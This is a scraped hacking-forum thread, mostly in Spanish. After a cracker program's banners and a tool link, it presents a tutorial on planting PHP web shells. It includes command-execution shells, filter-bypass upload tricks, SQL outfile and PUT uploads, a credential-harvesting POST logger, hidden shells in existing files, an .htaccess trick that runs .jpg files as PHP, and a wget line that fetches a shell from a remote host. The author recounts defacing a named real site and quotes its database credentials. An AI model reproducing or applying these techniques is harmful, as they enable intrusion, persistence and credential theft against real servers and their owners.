printf("Ã&#8240;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;»\n");
   printf("º      Princess I love you        Âº\n");
   printf("º           Club Hacker           º\n");
   printf("º   http://clubhacker.66ghz.com   º\n");
   printf("º           2009-2010             º\n");
   printf("º            D4NB4R               º\n");
   printf("Ã&#710;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;¼\n");
 if (argc<=1)
   printf("Modo de uso  %s hash\n", argv[0]);
 for (cont= 1;cont< argc;cont++)
   d4nb4r(argv[cont]);

 system("PAUSE");
  printf("Ã&#8240;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;»\n");
   printf("º                                 º\n");
   printf("º      Pandora`s Box Team         º\n");
   printf("º   Cracker hecho por D4NB4R      Âº\n");
   printf("º           2009-2010             º\n");
   printf("º    D4NB4R--Princess I love you  Âº\n");
   printf("Ã&#710;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;Ã&#65533;¼\n");
 system("PAUSE");
 return 0;

}






reverse DNS VHoster-v1_0



http://www2.unsec.net/VHoster-v1_0.zip



#6
Saludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria :D

bueno el contenido de este minututorial es


Tips a la hora de usar shells + otras cuantas cosas

0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento


0x01 Shell


A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.


0x02 PhpShell (WebShell)


Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.

en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.


0x03 Creacion de una PhpShell.



Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.

partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.

¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:

<?php
echo $_GET['comando'];
?>



lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi

www.dondeestemontado.com/test.php?comando=Hola

el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.


si modificamos el test.php por algo como esto
<?php
system
$_GET['comando']);
?>


lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url

www.dondeestemontado.com/test.php?comando=dir

se ejecutara un dir en el servidor.

tambien podriamos hacer algo asi:

<?php
show_code
$_GET['comando']);
?>



www.dondeestemontado.com/test.php?comando=index.php

con lo que visualizaremos el codigo de index.php.

como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:

inurl:c99.txt

0x04 Subir una shell a un servidor

Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos.  partiendo de ese principio basico se imaginaran que si colocamos digamos en google

inurl:upload.php

encontraremos muchos uploading para probar haber si podemos colar una phpshell.
me he encontrado con muchas webs que no filtran las extensiones correctamente lo que nos permite subir archivos de forma arbitraria, eso es a lo llamamos Arbitrary file Upload, es asi como podemos subir una shell, sin tanto desmadre, y con poco esfuerzo.

aprovecho para contarle algo q me sucedio, durante el deface a el-informador... note e un principio q tenia blind sql inyeccion. pues como algunos sabran ese tipo de inyeccion son algo tediosas... tardamos mucho en dar con el resultado que queremos y a veces teniendo en cuenta q probablemente no corramos con suerte. entonces ps estaba trantando de hacerla cuando me dio por probar encontrar el panel de admin de la web que esta ubicado en:
http://www.el-informador.com/admin/
me tope con una sorpresa cuando vi que habia un uploader para imagenes, asi que probe subir una shell.
y pues medio resultado... me sorprendi un poco e inclusive me dio algo de risa, pues de blind sql inyeccion a tener un uploading listo... y sin ningun esfuerzo pues jum... nos ahorramos bastante.
de esta forma subi la shell del informador (que aun esta online).

por otro lado, hay algunos tipos de filtros q nos podemos saltar, por ejemplo a veces usan cosas como


<?php
if(strpos($HTTP_POST_FILES['file']['type'],"jpg"))
?>


aqui lo que hacen es mirar lo q viene en el campo type de la cabecera http, para obtener el tipo del archivo, si strpos encuentra el tipo devuelve la posicion, si no devuelve un falso... como todos sabran podemos modificar las cabeceras para cambiar el tipo, pueden usar el http live header, achilles, tamper data... por otro lado podemos encontrarnos con esta filtracion.


<?php
$tipo
=explode(".",$nombreFIle);
if(
$tipo[1]=='jpg'){
echo 
"paso";
}
?>


con lo que solo bastaria subir la shell con un nombre como este shell.jpg.php, porq? porq explode('.','shell.jpg.php')
parte el nombre en un vector y toma el . como referencia, por tanto la posicion 1 tiene jpg y la 2 tiene php. y al comparar solo con la 1 entonces al parecer seria un jpg.


haber comoquemonos en este contexto, no tenemos ningun uploading, solo tenemos un sql inyeccion, y no tenemos admin login ni nada. cuanto esto pasa, podemos intentar filtrar una shell con la setencia outfile
podria ser algo como :

union+select+,1,2,'<? system($_GET[cmd]);  ?>'+into+oufile+ruta/shell.php



si nos pone mucha joda.. podemos intentar pasar el code php a hex para filtrarla.

Tambien podemos subir un archivo con PUT, bajo la condicion que el phpini este con esto


allow_url_include = On
allow_url_fopen = On

teniendo el put activado podemos enviar enla cabecera http algo como


PUT /archivo.php HTTP/1.1
Host: Ficticio.com
Content-Type: text/plain
Content-Length:4

<?php
aqui code de la shell
?>


y podremos subir shell.


0x05 Ya subi la shell y ahora?

Una vez que logremos tener la shell arriba, uno de los tips o cosas que podemos hacer es buscar los archivos de configuracion de la BD, para que? pues para usmear, o para dumpearla, como asi dumpearla? pues veran es simplemente descargarnos una copia de su BD, en particular las shells tienen opciones para los archivos q lista... como ver descargar editar etc.

ejemplo



ahora usmeando un poco encontramos los archivos de configuracion, inclusive notamos que nuestra shell nos lo indica.



si lo clickeamos nos dara informacion como esta:

$user_db = 'i1n1f3o4_admin'; // Server Username   
$pass_db = 'infor2005'; // Server Password
$host_db = 'localhost'; // Server (e.g. localhost)
$db = 'i1n1f3o4_encuesta'; // Database to be created or name of existing database (Please note: Database containing dashes cannot be created)


con lo que nos podemos autenticar aqui.


Bueno una vez coloquemos los datos... de host,Bd user y password, podremos visualizar algo como:



la opcion dump es la que les habia mencionado previamente, y pues podran navegar en la bd... hagan de cuenta que es un cliente mysql.

la shell tiene opciones para hacer back conection.
para que sirve? pues para bypasear el cortafuegos, podemos leer archivos ya sea usando php o mysql... podremos hacer un sinfin de cosas, yo aconsejo que le brujeen a la shell ojala la la monten localmente, y ensayan las opciones. que pues son bastante intuitivas.

0x06 Preparando el sistema para volver
Bueno pues la idea es que una vez entramos, dejemos asegurado un proximo regreso, por ello esta es una de las tantas opciones, se trata de guardar en un log (que podria ser remoto pero que aqui lo dejo de forma local), esto se puede ubicar en el archivo php encargado de recibir los datos del login


<?php
foreach($_POST as $index => $valor){
$log="[in]".$log.$index." = > ".$valor."[in]<br>";
}

$logFilefopen('logs.txt''a');
fwrite($logFile$log."\n");
?>



Ahora podremos ver lo que guarde el log en logs.txt, aclaro q es un ejemplo simple, se podrian hacer cosas como conexion por ftp... etc. y si el admin quiere darse cuenta que le dejamos un keylogger (seria mas un POST logger o algo asi), pues tendria que ir a revisar el codigo fuente de su aplicacion.

0x07 Dejar shell incrustada (Shell Embedded)

se trata de agregar la shell dentro de un archivo existente, con el fin de evitar sumar archivos al servidor, solo es cuestion de encontrar el archivo indicado, y acomodamos la minishell para que solo reaccione si enviamos un parametro asi

<?php
if($_GET['activeshell']=='activar'){
system$_GET['comando']);
}
?>




esto con el fin de evitar q salgan errores... q adviertan que hay problemas en el archivo

y lo ejecutariamos asi

www.dondeestemontado.com/test.php?comando=dir&activeshell=activar

Bueno aqui acaba este listado de tips... y de teoria... espere les guste.


0x08 Preguntas de otros foros




ShadinessDark hackxcrack
Ah también me parece que le agregues la forma de esconder la shell...
Osea que no aparezca en la lista de archivos..

R

digamos q esta es su shell

<?php
if($_GET['activeshell']=='activar'){
system$_GET['comando']);
}
?>



y este es el index.php

<?php
echo "Lo que sea";
?>




hay varias formas ... por un lado esta una que es simplemente:

<?php
echo "Lo que sea";
?>


<?php
if($_GET['activeshell']=='activar'){
system$_GET['comando']);
}
?>



o

<?php
echo "Lo que sea";

if(
$_GET['activeshell']=='activar'){
system$_GET['comando']);
}
?>






p´s es una forma sencilla. pero se podrian usar una especies de ofuscadres para que no se entienda el code.... y pues es cuestion de analizar cual es el mejor archivo para incrustar la shell... o el PostLogger... 



edugibert hackxcrack
Se puede camuflar la shell con alguna archivo!! Haber si me explico coger el blinder y camuflar la shell con un pdf o un doc o lo que sea y después ejecutarlo ?¿ Si la respuesta es afirmativa como ?¿

R:


si man eso se puede hacer... quizas hallan varias formas, pero por ahora se me ocurren 2.

la primera es que subas digamos la shell con extension .jpg (o la que sea pero para el ejemplo sera jpg)

con la shell arriba con otro formato agregas un .htaccess con el siguiente codigo

<Files *.jpg>
ForceType application/x-httpd-php
</Files>



eso hara que el servidor ejecute el code php de los jpg... por tanto aunq nuestra shell tenga extension jpg se ejecutara. ten encuenta q puede ser doc pdf lo q sea.

psdta: buena pregunta, con esto complementare el tuto :D



la otra que se me ocurre es que causemos un lfi aproposito asi:

<?php
if(!empty($_GET['file'])){
include 
$_GET['file'];
}
?>




y podremos incluir nuestra shell asi.

http://www.victim.com/filewithlfi.php?file=shell.jpg


lo que hara que se incluya la supuesta imagen y se ejecute el php.




C3llu5 hackxcrack

tengo una pregunta

enkontre una web vulnerable, y logre subir un  X texto para komprebar si me dejaba,

haora e intentado subir una shell , pero haora mi problem  es el peso de la shell,  no me pone problema por el formato, pero no me sube por el peso del archivo de la shell,

pues bueno mi pregunta, es ke si hay una de subirla, o alguna shell ke no pese tanto, para que no me ponga problema por el peso,

R:

man, que SO tiene el servidor?

podria intentar subir un archivo php pero no con una shell, si no con un uploader... depues ya subes shell usando el archivo q subiste... (un uploader pesa mucho menos)

o puede intentar subir un archivo php que ejecute esto

wget www.server.com/c99.txt;chmod 777 c99.txt;mv c99.txt shell.php

donde www.server.com/c99.txt
es la ubicacion de tu shell
y ya despues accedes a:

www.victim.com/shell.php





0x10 Conclusiones



Nada solo resta decir, si quieres atacar algo la mejor herramienta es saber como funciona, asi tendras mas posibilidades


0x10 Agrecimiento



Agradezco a Cygog por sacarme de un par de dudas :D.
y a todos los q preguntan porq asi se complementa el tutorial.

Psdts
si ven errores o alguna bestialidad les agradezco me informen ;D

Continuara... sigo mejorandolo en el tiempo libre q me quede
by _84kur10_
#7
Aqui um vídeo contornado introduzindo um upload e injeção de SQL.
além de nós deixou um carregador embutido: D

http://www.megaupload.com/?d=8HX4TMDN
#8
Bem, meu primeiro post nesta comunidade, eu não falo Português, use um tradutor, eu espero ser compreendido. fomos a casca SMF 1.1.10, 1.1.11 pode ser ... é a mesma teoria.


http://www.megaupload.com/?d=TB5HN70F